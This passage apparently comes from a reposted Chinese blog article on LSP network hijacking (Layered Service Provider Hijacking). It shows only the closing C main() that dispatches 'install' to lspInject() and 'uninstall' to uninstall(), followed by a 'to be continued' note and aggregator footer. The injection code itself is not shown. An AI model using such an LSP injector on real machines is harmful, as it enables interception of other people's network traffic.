printf("usage:%s install or uninstall\n", argv[0]);
return 0;
}
if (strcmp(argv[1],"install")==0)
{
if (lspInject())
{
printf("install success\n");
}
else
{
printf("install error code is %d\n", GetLastError());
}
}
else if(strcmp(argv[1], "uninstall") == 0)
{
if (uninstall())
{
printf("uninstall success\n");
}
else
{
printf("uninstall error code is %d\n", GetLastError());
}
}
return 1;
}
結語
待續…………有空再更新!!!
官方網站
www.CHWM.vip
總結
以上是生活随笔為你收集整理的LSP 网络劫持(Layered Service Provider Hijacking)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Java 进阶篇】使用 Stream
- 下一篇: 稳定性建设实践